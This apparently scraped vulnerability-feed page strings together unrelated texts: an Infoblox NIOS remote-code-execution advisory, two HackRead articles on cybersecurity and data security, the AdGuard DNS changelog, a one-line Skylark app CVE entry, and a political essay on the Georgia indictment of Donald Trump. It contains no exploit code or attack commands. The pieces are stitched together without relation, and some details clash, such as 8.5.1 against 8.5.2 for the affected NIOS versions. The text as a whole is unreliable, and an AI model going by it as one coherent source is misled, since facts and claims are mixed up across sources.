Infoblox NIOS through 8.5.1 has a faulty component that accepts malicious input without sanitization, resulting in shell access.

August 2, 2023 • Knowledge

**Overview and Impact:**

Currently supported Infoblox NIOS versions through 8.5.2 have a faulty component that accepts malicious input without sanitization, resulting in shell access. The absence of proper validation on an input field allowed for the exploitation of a remote code execution (RCE) vulnerability. The malicious actor needs access to an authenticated feature in the NIOS UI to be able to execute the malicious input to gain access to the shell.  
 

**Affected Versions:**

NIOS 8.5.2 and prior

**Resolution:**

The fix for this issue was included in 8.5.3 and later releases of NIOS. A hotfix identified as NIOS-93969 is available for NIOS 8.5.2 and is attached to this article. Additionally this issue was resolved in the hotfix for CVE-2023-2828.

The vulnerability was identified thanks to the efforts of Sean Morland of NCC Group.

CVE-2023-37249: NIOS is vulnerable to CVE-2023-37249

By Owais Sultan
Okay, digital explorers! Strap yourselves in as we prepare to embark on a thrilling expedition through the complex and ever-shifting digital wilderness.
This is a post from HackRead.com Read the original post: Defending the Virtual Kingdom: Exploring Modern Cybersecurity Landscapes

In this realm of ones and zeros, a captivating dance of technology and tactics unfolds, revealing a modern battlefield where the stakes are high and the adversaries are often invisible. Let’s delve into the intricate world of modern cybersecurity – a vital invisible shield that tirelessly defends our precious virtual dominion.

**Chapter 1: Decoding the Shifting Threatscape**

Imagine a virtual Wild West, where the nefarious characters aren’t just the black-hat hackers but a diverse cast of digital personas. Picture ransomware renegades as modern-day bandits, taking your data hostage and demanding a hefty digital bounty (ransom) for its release. These outlaws hold your crucial files at virtual gunpoint, paralyzing organizations and individuals alike. 

Meanwhile, the cunning phishing outlaws employ a different weapon: psychology. Through a careful masquerade, they impersonate trusted entities to deceive unsuspecting victims into revealing sensitive information. All of this makes advanced preemptive measures like cloud penetration testing all the more important. 

**The new cybercriminals**

Think of them as modern-day con artists, using technology to manipulate human nature itself. Don’t forget the elite APT bandits, the cyber equivalent of skilled ninjas. They execute stealthy, long-term attacks, infiltrating high-value targets with precision and quietly exfiltrating valuable data, leaving little trace. 

And then, there are the enigmatic zero-day gunslingers. With exploits that target undiscovered vulnerabilities in software, they wield powerful weapons that are as elusive as they are dangerous. To navigate this perilous digital realm, fluency in this diverse cast of threats isn’t just helpful – it’s an imperative survival skill.

**Chapter 2: The Great Game of Digital Nations**

The geopolitical landscape is no longer confined to conventional borders and physical territories. Nation-states have unshackled themselves from traditional realms and entered the domain of digital warfare.

Stuxnet, a digital weapon that crippled Iran’s nuclear program, was a harbinger of this transformation. It marked the debut of a new era where nations conduct covert operations and pursue strategic goals through cyber means. These digital campaigns aren’t limited to espionage or data theft; they now encompass economic disruption and even sabotage.

Nation-states have become adept at deploying cyberweapons, infiltrating critical infrastructure, and manipulating global narratives. In this complex game of digital chess, your personal data and digital interactions might unwittingly play a pivotal role.

You’re no longer just a bystander in this grand theatre; you’re a potential player, whether you choose to be or not. As nation-states engage in this high-stakes digital chess match, understanding the rules and anticipating their moves is vital for the safety of individuals, organizations, and entire nations.

**Chapter 3: Fortifying the Digital Stronghold**

Now that we’ve ventured into the heart of this digital landscape, it’s time to gear up for defence. Imagine firewalls as the towering walls of a medieval castle, standing guard at the entrance of your digital domain.

These digital barriers scrutinize incoming and outgoing data, allowing the safe passage of legitimate traffic while fending off malicious invaders. Intrusion detection systems act as vigilant sentinels equipped with the ability to identify abnormal patterns or behaviours that may indicate a breach. They raise the alarm, summoning the cyber garrison to repel any imminent threat. But these fortifications only form the outer layer of your defence strategy.

Encryption, your ultimate cryptographic shield, takes centre stage when safeguarding sensitive information. Just as a vault secures your valuables, encryption transforms your data into an unreadable cypher, accessible only to those with the key. By combining these technological bastions, you’re building a formidable stronghold against the relentless tide of cyber threats.

As we traverse the digital landscape, we encounter not just lines of code, but the intricate dance of human psychology. Enter the art of social engineering, where hackers leverage the vulnerabilities of the human mind to breach digital defences.

**Pretexting**, the act of creating a plausible pretext to extract information, is akin to an actor donning multiple personas to deceive you. Baiting, on the other hand, exploits curiosity or desire. Hackers dangle tantalizing offers like digital bait, luring you into traps that compromise your security.

**Tailgating** capitalizes on trust – an unauthorized entity gains access by simply following you through a secured entrance, just as a person might slip through a closing door after someone else. With social engineering, the adversary isn’t just the code; it’s the understanding of human behaviour that’s their potent weapon. Arm yourself with awareness, scepticism, and a dash of digital paranoia to outsmart these psychological manoeuvres.

**Chapter 5: The AI Enigma: Cybersecurity’s Double-Edged Sword**

The dawn of Artificial Intelligence (AI) brings both promise and peril to the realm of cybersecurity.

Picture AI as a digital ally, a vigilant sentinel that spots unusual patterns in the vast sea of data, sounding the alarm when something’s amiss. It’s like a digital bloodhound that sniffs out anomalies, flagging potential threats before they materialize.

But beware, for AI is a double-edged sword. Hackers can wield it too, employing AI to automate attacks, craft sophisticated phishing emails, or even mimic your behaviour to evade detection. Imagine a foe that learns from its mistakes, adapts to your defences, and evolves in real time. In the ongoing battle between offence and defence, AI introduces an element of unpredictability, making this digital frontier an ever more challenging battleground.

**Chapter 6: Cybersecurity Unity: Strength in Numbers**

In this virtual landscape, unity is your secret weapon. Cyber threats transcend borders, and adversaries are bound by neither time nor geography. It’s a call for global cooperation – an alliance that extends beyond political affiliations or economic interests.

International collaboration becomes a formidable force, pooling resources, intelligence, and expertise to counteract the relentless tide of cyber threats. Initiatives for information sharing, response coordination, and the establishment of digital norms become paramount.

It’s not just about individual cybersecurity; it’s about safeguarding the interconnected tapestry of our digital world.

**Conclusion: Rise of the Cyber Guardians**

As we conclude our expedition, one truth becomes apparent: cybersecurity isn’t an endgame; it’s an ongoing quest. In this realm, vigilance is your guiding star, and knowledge is your greatest weapon.

This is a journey where each individual, organization, and nation stands as a potential guardian of the digital realm. The ever-shifting landscape demands adaptability, resilience, and continuous learning.

Remember, the equilibrium between chaos and order rests on your shoulders. So, fellow adventurers, embrace the challenge, rise to the occasion, and navigate this cyber frontier with unwavering determination. Stay curious, stay secure, and in the face of the digital tempest, become the guardians that protect and shape our interconnected world.

Defending the Virtual Kingdom: Exploring Modern Cybersecurity Landscapes

By Owais Sultan
Data security is vital for protecting sensitive information and maintaining trust.
This is a post from HackRead.com Read the original post: Elevating Data Security: Key Considerations When Transferring Your Digital Workspace

In today’s dynamic digital landscape, data security has emerged as a paramount concern. The surge in workspace transitions, encompassing remote work, hybrid models, and flexible office setups, necessitates a meticulous approach to safeguarding sensitive information.

This article delves into the imperative task of upholding data security during workspace transitions, elucidating key measures, legal considerations, and proactive strategies to ensure the integrity of valuable data.

**Understanding Workspace Transitions and Data Vulnerabilities**

Workspace transitions, propelled by evolving work dynamics, demand a comprehensive understanding of potential data vulnerabilities. The shift towards remote work, hybrid setups and the reliance on cloud storage can expose organizations to various security challenges.

These include the use of unsecured networks, the integration of personal devices, and an augmented risk of physical security breaches. Recognizing these vulnerabilities is pivotal in devising effective data security strategies across your organization. 

This is why a good cloud migration plan is of the utmost importance when transferring to a digital workplace. 

**Key Data Security Measures During Workspace Transitions**

Implementing robust access control is a cornerstone of data security during workspace transitions. By employing role-based access mechanisms, organizations can restrict data access based on specific job functions, minimizing the risk of unauthorized information exposure.

Multi-factor authentication (MFA) and biometric verification provide an added layer of defence, fortifying data access against breaches. Additionally, the adoption of encryption protocols for data at rest and in transit ensures that even if data is intercepted, it remains unintelligible to unauthorized entities.

**Establishing Secure Network Infrastructure**

The establishment of a secure network infrastructure is imperative to uphold data security. Virtual Private Networks (VPNs) prove instrumental in encrypting remote connections, thwarting potential eavesdropping attempts and employing network segmentation further fortifying the system by containing potential breaches within isolated segments.

**Data Handling Best Practices**

Data handling practices during workspace transitions should be underscored by stringent best practices. Equipping employees with the knowledge and tools to handle data securely, particularly in remote and hybrid scenarios, is pivotal.

Secure file sharing and collaboration tools must be utilized, enabling seamless interaction while ensuring data protection. Implementing data classification and labelling empowers organizations to prioritize data safeguarding based on sensitivity levels, diminishing the likelihood of inadvertent breaches.

**Endpoint Security and Device Management**

Endpoint security and device management play a pivotal role in data protection. In scenarios involving Bring Your Own Device (BYOD), stringent policies should be instituted to ensure devices meet security requirements.

**Device management**

Mobile Device Management (MDM) solutions play a critical role in today’s digital landscape by providing organizations with the tools they need to manage and secure the wide array of mobile devices that connect to their networks. These solutions enable centralized control over devices, allowing administrators to remotely manage, monitor, and safeguard devices, thereby enhancing security and reducing potential risks.

One of the key features of MDM solutions is their ability to facilitate remote wiping and disabling of lost or stolen devices. This capability serves as a powerful countermeasure against data breaches that could result from unauthorized access to sensitive information stored on these devices. Here’s how MDM solutions accomplish this and why it’s essential:

*   **Centralized Control**: MDM solutions provide a centralized dashboard or console that administrators can use to manage all the enrolled mobile devices. This centralized approach streamlines the management process and ensures consistent security policies across the organization’s mobile device fleet.

*   **Remote Wiping**: In the unfortunate event that a device is lost or stolen, MDM solutions empower administrators to remotely initiate a complete wipe of the device’s data. This action erases all data on the device, returning it to its factory settings. Remote wiping is crucial in preventing unauthorized access to sensitive corporate data, customer information, and proprietary resources.

*   **Disabling Devices**: MDM solutions allow administrators to remotely disable devices, rendering them unusable. This feature can be particularly useful when there’s a high risk of unauthorized access, or if a device has been lost in an area where retrieval is not feasible. By disabling a device, organizations can mitigate the potential damage that could arise from compromised devices falling into the wrong hands.

*   **Data Protection**: MDM solutions often include features like encryption and secure containers. Encryption ensures that data stored on the device is protected even if the physical device is compromised. Secure containers segregate corporate data from personal data, allowing organizations to secure sensitive information without encroaching on users’ personal privacy.

**Monitoring and Incident Response**

Vigilant monitoring and incident response mechanisms are indispensable in the realm of data security. Continuously monitoring network traffic and user activities allows for the timely identification of anomalous behaviour.

Intrusion detection systems (IDS) and intrusion prevention systems (IPS) act as sentinels, mitigating potential threats. Coupled with a meticulously devised incident response plan, organizations can swiftly contain breaches, minimizing damage and ensuring regulatory compliance.

**Legal and Compliance Considerations**

Akin to an intricately woven tapestry, legal and compliance considerations interlace with data security during workspace transitions.

Navigating the labyrinth of data protection regulations such as GDPR, HIPAA, and CCPA is imperative. Organizations must navigate these regulations adeptly, particularly in the context of international data transfers, to ensure seamless transitions without violating regulatory norms.

**Employee Education and Awareness**

A resilient data security strategy is incomplete without a robust focus on employee education and awareness.

Ensuring that every member of the organization comprehends the significance of data security is paramount. You need regular workshops and awareness programs to cultivate a culture of security consciousness, fostering a vigilant workforce that actively contributes to data protection.

**Case Studies: Data Security Success Stories**

Drawing inspiration from real-world scenarios, a compilation of case studies serves as a testament to effective data security during workspace transitions.

These success stories underscore the relevance of meticulous planning, technological integration, and strategic execution. By analyzing these case studies, organizations can distil valuable insights and replicate these strategies to ensure data integrity in their unique contexts.

**Future Trends in Data Security and Workspaces**

Peering into the horizon of data security and workspaces unveils a landscape marked by future trends. Emerging technologies like AI and blockchain are poised to transform workspace security dynamics.

Yet, these advancements come with their own set of challenges, demanding the constant evolution of cybersecurity practices. The role of cybersecurity professionals will be pivotal in embracing and adapting to these changes, ensuring data security remains robust in the face of evolving work paradigms.

**Conclusion**

The modern era demands a steadfast commitment to data security during workspace transitions. As work dynamics continue to evolve, organizations must fortify their data protection measures to navigate the intricate labyrinth of digital landscapes. By embracing robust access controls, secure network infrastructures, vigilant monitoring, and comprehensive employee education, enterprises can elevate data security, ensuring the sanctity of their invaluable information.

Elevating Data Security: Key Considerations When Transferring Your Digital Workspace

AdGuard DNS before 2.2 allows remote attackers to cause a denial of service via malformed UDP packets.

AdGuard DNS versions

2.2.1

Aug 7, 2023

In this update, we have improved the DNS server performance, fixed a few issues, and released a new authorization service that will allow users to access their personal account quicker.

Changelog

Performance

The number of AdGuard DNS users is growing at an enormous rate, and the total number of requests per second has closely approached 2 million. Meanwhile, over 90% of these requests come to us through encrypted DNS protocols (DoT, DoH, DoQ, DNSCrypt). Therefore, in this release, we focused on improving the DNS server’s performance and achieved great success. We can now handle an astronomical number of requests with reasonable server power.

Features

Added Czech and Slovak languages

Improved readability of highlighted text in dark theme #617

Full DNS address now displayed when setting up a device in a mobile browser #625

Fixes

Misalignment of columns when the “Device not connected” indicator dot appears #575

AdGuard verification code auto-fill issue with two-factor authentication enabled in Safari #314

Email address auto-fill bug on the login page in Safari #319

Incorrect functioning of the $dnsrewrite modifier

2.2

Apr 24, 2023

The highlight of this release is the ability to customize the Team subscription — now you can choose the number of devices, servers, and monthly requests you want before purchasing it. Also, we've added the option to select a response code for blocked requests and, of course, fixed some bugs.

Changelog

Features

Added the ability to customize the Team subscription

Added more information about monthly traffic update #490

Added the option to select a response code for blocked requests

Added AdGuard DNS blog

Updated Linked IP block design

Updated translations #570

Fixes

In the mobile version of Safari, the filtering log automatically reverts to its default state after scrolling

Problem with statistics and log retention settings #472

EDNS Client Subnet could not be disabled #542

Error condition is not reset when the type of line to be added is changed #563

Slashes are not saved in the comments of the user rules editor #576

Real-time query log updates don't retain filter changes #460

Fixed an issue that allowed a DoS attack against the service using malformed UDP packets

2.1.6

Mar 1, 2023

Minor bugs should be tackled before they build up and affect the performance of AdGuard DNS. We aim to release patches in a timely fashion, and here's another one.

Changelog

Fixed

Can't reach the 'Try AdGuard DNS' button in Safari on iOS #436

The settings of the selected server are reset after refreshing the page

The domain is not found in the search field if it was copy-pasted #530

Changed the hint text for clearing device logs/statistics #536

Added

Default TTL hint #535

Ability to customize which response will be used for a blocked domain

Option to block Mozilla canary domain

2.1.5

Feb 2, 2023

In this patch we've fixed several bugs — now AdGuard DNS runs better.

Changelog

Fixed

Spikes on the stat graph

Incorrect triggering of the device limit

Resetting statistics does not occur in all filter sections

Unable to log in to account via Apple ID if 2FA is enabled

Top blocked domains and top requested domains values in mobile version are mixed up #482

Resetting filters in filtering log does not clear domain search field #524

2.1.4

Dec 29, 2022

This patch is a little New Year’s present for you. We’ve significantly improved the performance of our DNS servers, added instructions for connecting AdGuard DNS to AdGuard VPN and AdGuard Browser extension, and fixed minor bugs.

2.1.3

Dec 7, 2022

Now it’s possible to connect an Android or iOS device with AdGuard VPN to AdGuard DNS via email. To do so:

Open the AdGuard DNS dashboard and tap the Connect new device button,

Choose Android or iOS and enter your device’s name,

Tap Next and then Send link by email,

Enter the email address you want to send the link to and click Send,

​​Open the email on the device you want to connect to AdGuard DNS and tap the Connect device button.

For this release we’ve also expanded the list of used filters, made some UI enhancements, fixed a few bugs, and added Vietnamese localization.

Added

Option to connect AdGuard DNS in the AdGuard VPN app by sending a configuration email

Vietnamese language support

Added filters

1Hosts (mini)

HaGeZi Personal Black & White

HUN: Hufilter

LIT: EasyList Lithuania

No Google

Fixed

AdGuard DNS homepage doesn’t load when iCloud+ Private Relay is enabled

2.1.2

Nov 22, 2022

In AdGuard DNS v2.1.2 we’ve enhanced the dashboard interface, added a server in Johannesburg and an option to disable automatic filtering log updates. Also, we’ve fixed some bugs so it will no longer be a problem to rename the device or understand the statistical report.

If you use AdGuard VPN for Android or iOS, you can easily add an encrypted DNS to your device. Just follow our instructions when adding a new device.

Added

Option to disable automatic filtering log updates #264

Johannesburg server

Turkish language support

Fixed

Flags were displayed incorrectly in the Traffic Direction section#428

Blank space in the Connection check section #431

Text started to glitch when renaming a device #354

Incorrect dates in the weekly stats report

2.1.1

Oct 25, 2022

This hotfix is intended to correct minor errors and add two localizations as a bonus.

Changelog

\[Enhancement\] Added translation of the dashboard and login page into Portuguese and Portuguese Brazilian

\[Fixed\] Incorrect time of latest device activity #427

\[Fixed\] Incorrect VPN subscription status #352

\[Fixed\] Refreshing the Device settings page redirects back to server settings #430

2.1

Oct 20, 2022

AdGuard DNS now supports DNS-over-HTTP/3 in experimental mode. It was a challenge, but we made it. For now only AdGuard Home and dnsproxy fully support DNS-over-HTTP/3, but soon DoH3 will appear in other AdGuard products. However, we focus on DNS-over-QUIC and consider it more advanced, but we strive to support the other protocols too, and DoH3 is a proof of that.

Another good news is that we will email AdGuard DNS users weekly and monthly reports with stats on requests, devices, and companies, which is convenient and visual. If there are too many reports, you can unsubscribe at any time.

Changelog

\[Enhancement\] Added the Apply button that appears after changing the server name

\[Enhancement\] Query log data cutoff in desktop mode #366

\[Enhancement\] Query log page numbers move when a new page is opened #368

\[Fixed\] Switching from 90 days to anything less causes dates to overlap #323

\[Fixed\] Text is cut off for the last domain in Top domains #339

\[Fixed\] Dates are cut off on the left and right side of the chart (mobile version of the website) #341

\[Fixed\] Misleading subscription status (from AdGuard VPN) #352

\[Fixed\] Wrong status of applied unblocking rules #361

\[Fixed\] The "Refresh" button on the homepage does not override the number of requests

\[Fixed\] Query log data is cut off (desktop version of the website) #366

\[Fixed\] Limit triggering in Enterprise plan

\[Fixed\] Can't scroll to account settings on Safari for macOS #353

\[Fixed\] In some cases the statistics were counted incorrectly

\[Fixed\] Top Destinations stats overlap when set to 90 days #326

2.0.1

Sep 7, 2022

It's been two weeks since the release of AdGuard DNS 2.0, but there's still a pleasant aftertaste. We've been painstakingly working on this product to give you a reliable and convenient tool to control your online traffic. And we succeeded.

Still, small bugs had crept into the release. That's why we're publishing a patch today: so you can enjoy the service, and we can move on to some bigger tasks with peace of mind.

Changelog

\[Enhancement\] Added search to the DNS knowledge base

\[Enhancement\] Updated link for Contact Us button on purchase page

\[Enhancement\] Improved the Traffic Destinations page

\[Enhancement\] Add an option to use add-cpe-id in Dnsmasq to identify the device

\[Fixed\] Disabling logs disables tariff statistics

\[Fixed\] Numbers in Japanese, Korean, Chinese are displayed incorrectly

2.0

Aug 18, 2022

The beta testing phase is finally over! From now on the new level of traffic control is available for you. With AdGuard DNS 2.0 you can:

Flexibly configure domain blocking via blocklists, query log and user rules;  

See real-time requests statistics from all connected devices;  

Enable and set up Parental control;  

Learn more about all the changes and improvements of AdGuard DNS 2.0 in our blog.

0.6

Jul 29, 2022

Check out the sixth beta version of AdGuard DNS (and hopefully the final one before the release). In it we’ve improved the dark theme: updated the map styles and QR-code, so that everything could be easily read and scanned. And, of course, we fixed some minor bugs. The private AdGuard DNS now runs smoother!

Changelog

\[Enhancement\] Updated map styles in the dark theme

\[Enhancement\] Added an option to disable iCloud Private Relay

\[Fixed\] QR code is not scanned in the dark theme

\[Fixed\] Autofill doesn’t work in Safari on macOS and iOS

\[Fixed\] Minor bug fixes in desktop и mobile versions

0.5

Jul 13, 2022

There are five fingers in a hand, five oceans on Earth, and five betas of the private AdGuard DNS. Today we're releasing the fifth beta of our DNS and we hope you'll rate it 5/5!

In this version we’ve implemented support for DDR (Discovery of Designated Resolvers) by the latest draft of the new standard. With this feature, an encrypted connection to the DNS server will be set up automatically on devices with DDR support, provided the device previously knew the server address. A computer or smartphone will send a request to the known address and receive all the necessary information to establish a secure connection.

DDR support appeared in Windows 11 Insider Preview Build 22489, which means that the feature will get into the release version after a while. When this happens, Windows and AdGuard DNS users will be automatically reconnected to encrypted DNS servers – public or private, depending on the services selected earlier.

We’ve also improved ECS (EDNS Client Subnet) implemented in the third beta. Servers now respond with more precise IP addresses that better match your location. Furthermore, we are continuing to refine the open AdGuard DNS API, and now there are methods for getting statistics. All documentation is available at Knowledge Base.

We’ve fixed some bugs and worked on the interface: authorization via Apple ID now works properly, the dark theme has become really dark, and the Query log is prettier than ever. French, Italian, Chinese, Japanese, and Korean were added to the dashboard, and we are committed to continue localizing the private AdGuard DNS, making it accessible to users from all over the world!

Changelog

\[Enhancement\] Added support for DDR (Discovery of Designated Resolvers)

\[Enhancement\] Statistic retrieval methods were added to the API

\[Enhancement\] Added an option to change subscription type

\[Enhancement\] Added an option to extend subscription

\[Enhancement\] Added support for Chinese, Japanese, Korean, French, and Italian

\[Enhancement\] Added the "Don’t ask again" checkbox to the system notification that appears when deleting user rules

\[Fixed\] After logging in via Apple ID the personal account opens instead of dashboard if the user has an AdGuard VPN subscription

\[Fixed\] In dark theme statistics blocks are highlighted in white

\[Fixed\] In dark theme text in some fields is grayed out

\[Fixed\] Some elements in the mobile version of the website are displayed incorrectly

0.4

Jun 21, 2022

The period of active "building" of the private AdGuard DNS is left behind, and now we're polishing the service to a shine. Just take a look at the current changelog and compare it to the one we published for the previous beta. The difference is obvious.

The fourth beta features dark theme and language selection – at the moment, the dashboard is translated into German, Spanish, and Russian. To find both options, go to Account settings. And some more good news: from now on all AdGuard VPN users with a subscription will get the Personal plan of the private AdGuard DNS for free.

We hope you’ll enjoy the new version. Use the service and leave feedback on any platform you like.

Changelog

\[Enhancement\] Added dark theme

\[Enhancement\] Added support for VPN subscriptions and information about VPN subscribers automatically getting a Personal DNS subscription

\[Enhancement\] Added German and Spanish localizations

\[Enhancement\] Improved search function in the filter section on mobile devices

\[Enhancement\] Supplemented instructions for different devices

\[Enhancement\] Added a link to DNS rules syntax in the query log dialog

\[Fixed\] The “View device settings” button doesn't work on iOS devices

\[Fixed\] The “Unable to renew subscription” popup hangs for too long

0.3.1

Jun 10, 2022

The recently released third beta of private AdGuard DNS was really good and brought a lot of useful features to users. However, as it turned out, it contained a few flaws. So that you don't have to deal with them anymore, we are releasing a patch v0.3.1 for private AdGuard DNS.

Changelog

\[Fixed\] Clicking the Block button in Query log deletes all existing user rules and replaces them with a new one #265

\[Fixed\] Unable to move devices between servers #248

\[Fixed\] Incorrect links on the "Thanks for your purchase" page

\[Fixed\] Discount promo codes do not work correctly

\[Fixed\] There is no payment button in the mobile version of the website

\[Fixed\] Incorrect designation of the number of requests in Statistics

0.3

May 26, 2022

Meet the third beta version of private AdGuard DNS! We are steadily moving towards a full-fledged product, adding new features, changing and improving UI — everything to make you really enjoy using AdGuard DNS.

The version history – in front of your eyes

First and foremost, we've added a version history page for the AdGuard DNS service. Now you can see the full list of changes, learn about new features, and see how the work on private AdGuard DNS service is progressing.

Contribute to AdGuard DNS translation

Until now, private AdGuard DNS could only be used in English: first we had to make sure everything was working as it should. With this version we've extended the geography by adding the possibility to translate the dashboard into different languages. Help us make AdGuard DNS more accessible to everyone by participating in the translations! You can find a detailed article on how to use the Crowdin platform in our Knowledge Base. And if you already know how to use it, visit the AdGuard DNS project in Crowdin. Select the Dashboard and choose the language you want, then you're ready to translate!

AdGuard DNS Knowledge Base

Subscription

We've added a paid subscription on private AdGuard DNS. Subscription is not required during beta testing, but we'd appreciate it if you'd like to support us now.

DNS filters

We've also fixed DNS filters: eliminated the bug with the /etc/hosts-style rules failing to work and added support for rules with $dnsrewrite. By the way, you can read about the DNS filtering syntax in the Knowledge Base.

ECS support

The AdGuard DNS servers now support EDNS Client Subnet (ECS).

This feature allows users to get responses corrected for the location of the DNS user. We had long been hesitating to implement it in AdGuard DNS: ECS assumes handing over an anonymized user's IP address to the name server. In this version, we've solved the problem: instead of the user's IP address, we pass another address from approximately the same location as the user's.

New blocklists

We've added a lot of new blocklists — now it's even easier to customize AdGuard DNS. And if that's not enough, you can request and add more blocklists in the GitHub repository (before you do that, read requirements for blocklists in the section “What Blocklists Can Be Added Here”).

Open API

AdGuard DNS now has an open API. If you want to integrate with AdGuard DNS, read the documentation.

UI fixes and more

We've also fixed a lot of minor bugs and added some useful features.

Test private AdGuard DNS and leave feedback on any convenient platforms — it will help us become better.

Changelog

\[Enhancement\] Improved the appearance of the multiselect (element with the ability to select multiple values, such as countries, devices)

\[Enhancement\] For the device location, the Traffic Destination section uses data from its last activity

\[Fixed\] Incorrect detection for account time zone

\[Fixed\] Statistics and logs do not get cleared when their retention period is changed

\[Fixed\] Incorrect country detection for some domains

\[Fixed\] Significant delay in clearing logs and statistics

\[Other\] Added the option "Last 7 days" to date selector

0.2

Mar 16, 2022

We’ve all been waiting for it: we're proud to present the open beta of private AdGuard DNS! From now on, anyone can set up their own DNS server.

We took the best of AdGuard DNS and AdGuard Home and designed a product that would be flexible and customizable, meet the needs of "geeks", and have a user-friendly interface. We hope we succeeded! And now let's take a closer look at the best features of private AdGuard DNS.

Block/unblock domains

With a private DNS server, it is only you who decides which domains should be blocked and which shouldn’t — on each device! Connect your computer, smartphone, tablet or router and manage their requests as desired.

Blocklists management

You can also choose which domain blocking rules should be implemented. And those who aren't satisfied with dozens of pre-installed blocklists can import and export their own custom rules.

Advanced statistics

Now you can see the full statistics of your requests: how many requests were registered, to which companies, and to which countries. Besides, you can view this information for different dates, countries, and even for different devices connected to your DNS server. And of course, block and unblock requests on the go.

Parental control

To protect your child from online content you deem inappropriate, you can use Parental control. You can activate the safe search and manually specify domains for blocking as well as set the schedule: for instance, not allow your child to watch videos during homework.

Join beta testing

To take part in beta testing go to AdGuard DNS website and press \*Join beta\*\*\*, then sign up or log into your AdGuard account. You're done! Create your own DNS server and manage your requests — you are in control.

0.1

Sep 28, 2021

Great news: AdGuard DNS is advancing to a new level. We're about to release the product that many have yearned for so long — the private AdGuard DNS!

What a public DNS server blocks cannot be changed — it only has to be taken for granted. With your own DNS server, you'll be in control of all the query statistics and be able to choose which domains you want to block. It'll allow you to add blocklists and set up Parental control. And the user-friendly interface will make it no problem to get to grips with it all.

We added a new website where you can already see what the private AdGuard DNS interface will look like, learn how to connect to the public DNS server, and subscribe to the AdGuard DNS newsletter. If you do, we'll message you at launch and keep you up-to-date with the latest AdGuard news.

Thank you for your support! Stay tuned — and in the meantime, we're working to make sure the next release is to your liking.

CVE-2023-41173: AdGuard DNS — ad-blocking DNS server

Improper authorization in handler for custom URL scheme issue in 'Skylark' App for Android  6.2.13 and earlier and 'Skylark' App for iOS 6.2.13 and earlier allows an attacker to lead a user to access an arbitrary website via another application installed on the user's device.

CVE-2023-40530

Social norms—not laws—are the underlying fabric of democracy. The Georgia indictment against Donald Trump is the last tool remaining to repair that which he’s torn apart.

Donald Trump was arrested in Georgia tonight for his role in what prosecutors christened “a wide-ranging criminal enterprise” aimed at overturning the results of the 2020 election. Trump and 18 others—among them, his former lawyer, Rudolph Giuliani, and Mark Meadows, his former chief of staff—have been formally accused of 41 state-law felonies. The case is brought by Fani Willis, the district attorney of Fulton County, Georgia. Willis is not the first local prosecutor to charge a United States president with a felony, but she is the first to accuse one of trying to steal an election.

Among charges such as filing false documents and conspiracy to commit forgery, Trump is personally accused of trying to browbeat and suborn felony acts from high-ranking Georgia officials, including the chief elections supervisor, secretary of state Brad Raffensperger. Officials were pressed by Trump and other “co-conspirators” to take action to “decertify the election” and “unlawfully appoint presidential electors,” prosecutors claim. Together, the charges opened the door for Willis to pile on additional counts of racketeering. Filed under the state’s Racketeer Influenced and Corrupt Organizations Act, the charge would ask jurors to consider whether Trump and other defendants were involved in a single criminal undertaking. A conviction under RICO does not require that the defendants all know one another or be involved at the same time, so long as they’re all working toward a single corrupt goal.

RICO, which can carry up to a 20-year prison sentence, is a powerful and even dangerous legal weapon. Out of dozens of possible crimes, a prosecutor may have to prove only two to gain a conviction. The state is fairly ambiguous about what constitutes an “enterprise.” Jurors, meanwhile, may be shown a veritable tower of evidence and instructed, usually in some narrative fashion, to see a “pattern” in the defendants’ acts; something the human brain is naturally wired to do, even at a subconscious level. For Trump and his team, allowing the case to progress to the point where a jury is actually deliberating RICO is a doomsday scenario.

In addition to the Georgia prosecution, the cases against Trump include one in Manhattan over “hush money” paid to a porn star; a case filed in Florida federal court over his retention of classified documents; and a federal case in Washington, DC, for his role in the January 6 insurrectionist riot at the US Capitol and efforts to overturn the 2020 election. In total, Trump is facing 91 felony charges. He has pleaded not guilty to each one so far.

The indictment is the culmination of a political career that Trump built by ignoring checks and balances, mocking the law and the courts, and cheering on supporters who use violence in his name, including groups rooted in white nationalism and misogyny, prone to spontaneous and premeditated violence. More than 1,100 of his most committed supporters have been charged in the past 31 months with trying to physically stop Congress from certifying the results of the 2020 election. More than 80 of them have pleaded guilty to beating police officers who had ordered them to disperse. More than 140 officers were reportedly injured, and four of those would die by suicide within 200 days of the event.

These are not Trump's only casualties. Legal experts have long warned that Trump's personal brand of politics—acrimonious, wielding tools of harassment—while deceptively trivial in the face of actual death, millions in damages, and election interference—is corrosive to the very norms and conventions upon which the electoral process has long relied for stability. Prosecuting Trump may help distinguish lawful challenges in future elections from outright criminal acts. But even alone, his arrest has already made clear what norm-breaking behaviors the public will not condone—not now or in the future, regardless of the courts' own views.

In a 2018 book, Harvard University duo Steven Levitsky and Daniel Ziblatt put forward two criteria for the foundation of a healthy democracy: “social norms,” or unwritten codes of conduct upon which the people generally agree. The Trump administration, by the end of its first year, had managed to violate both with a quotidian efficiency. Levitsky and Ziblatt’s norms included “mutual tolerance” and “institutional forbearance.” The latter describes the need for politicians to show restraint in the exercise of their authority; not to gain the upper hand and immediately use that power to obliterate one’s rivals. “Think of democracy as a game we want to keep playing indefinitely,” they write.

Nothing in this century has done more to stamp out the mutual toleration of Americans than the presidency of Donald Trump. His strategy of painting political rivals as illegitimate and un-American has—for the better part of a decade—chipped away at social and democratic norms that titans of jurisprudence have—for more than a century—called indispensable to a functioning democracy. By the time President Joe Biden took office, the _Washington Post_ had cataloged a decidedly pathological 30,000 false or misleading claims uttered by his predecessor. The Trump administration's ever-broadening palette of ethics violations caused Americans to realize, perhaps for the first time on a national scale, that truly there are few if any laws against some of the most basic forms of corruption; that, instead, conventions and norms—an honor system, essentially—is all that stand between presidents and the gross abuse of their power.

Americans typically point to the US Constitution as the pinnacle of their legal system. Many modern legal theorists, and even the nation’s own founders, painted the concept of state authority in a different light. The Genevan philosopher Rousseau considered _la volonté générale_, or the “general will” of the people, the only legitimate source of state power. American revolutionaries believed that only laws written with the “consent of the governed” could be considered legitimate. Thomas Jefferson once said the only “fountain of power” is the people, and that only “from them” is power derived. Regarding politicians who believe “supreme power” resides in constitutions, early US Supreme Court justice James Wilson suggested they had perhaps neglected to consider, “with sufficient accuracy, our political system.”

Consequently, democratic institutions are effectively incapable of restraining elected autocrats by their own volition. Without robust norms, traditional checks and balances often prove useless. “The tragic paradox of the electoral route to authoritarianism,” write Levitsky and Ziblatt, “is that democracy's assassins use the very institutions of democracy—gradually, subtly, and even legally—to kill it.” The Georgia case yanks Trump and his associates out of the squishy realm of “norms violations” and drops them into the cold, hard box of criminality. The best argument for prosecuting Trump under RICO is that it seemingly leaves jurors room to consider both.

